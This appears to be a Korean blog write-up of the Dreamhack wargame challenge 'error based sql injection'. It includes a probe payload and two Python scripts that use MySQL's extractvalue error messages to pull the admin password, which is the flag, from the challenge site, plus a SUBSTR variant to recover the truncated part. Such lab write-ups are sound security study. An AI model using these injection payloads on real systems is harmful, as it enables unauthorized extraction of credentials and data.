Without a Break

[Dreamhack] error based sql injection 본문

Web/Wargame

[Dreamhack] error based sql injection

와븨 2022. 11. 22. 21:33

 

 

 

문제 사이트에 들어가니 위와 같은 페이지가 나왔다.

 

 

문제 페이지에서는 사용자가 입력한 uid 값이 위와 같이 텍스트로 출력된다.

 

 

'or 1=1-- 코드를 삽입했을 때 syntax 에러가 발생한다.

에러 메세지만을 출력하고 쿼리 결과를 직접 노출하지는 않는다.

 

error based sql injection의 공격 코드는 extractvalue 함수를 사용하여 작성할 것이다.

extractvalue 함수는 첫 번째 인자로 전달된 XML 데이터에서 두 번째 인자인 XPATH 식을 통해 데이터를 추출하는 함수이다.

 

 

from requests import get

url = "http://host3.dreamhack.games:11687/"

query = f"admin' and extractvalue(1, concat(0x3a,(SELECT upw FROM user WHERE uid='admin')));"

r = get(f"{url}/?uid={query}")
print(r.text)

extractvalue 함수를 사용하여 쿼리를 작성하고, 쿼리의 결과를 url에 출력하는 코드를 작성했다.

 

 

플래그의 뒷부분이 잘려서 출력되었다.

 

 

from requests import get

url = "http://host3.dreamhack.games:11687/"

query = f"admin' and extractvalue(1, concat(0x3a,(SELECT SUBSTR(concat(0x3a, upw),20,30)FROM user WHERE uid='admin')));"

r = get(f"{url}/?uid={query}")
print(r.text)

플래그의 뒷부분을 출력하도록 query를 수정했다.

 

 

플래그의 뒷부분이 출력되었다!

'Web > Wargame' 카테고리의 다른 글

[Dreamhack] XSS Filtering Bypass  (0) 2023.08.25
[Dreamhack] sql injection bypass WAF  (0) 2022.11.24
[Dreamhack] blind sql injection advanced  (0) 2022.11.17
[Dreamhack] funjs  (0) 2022.11.16
[Dreamhack] login-1  (0) 2022.11.16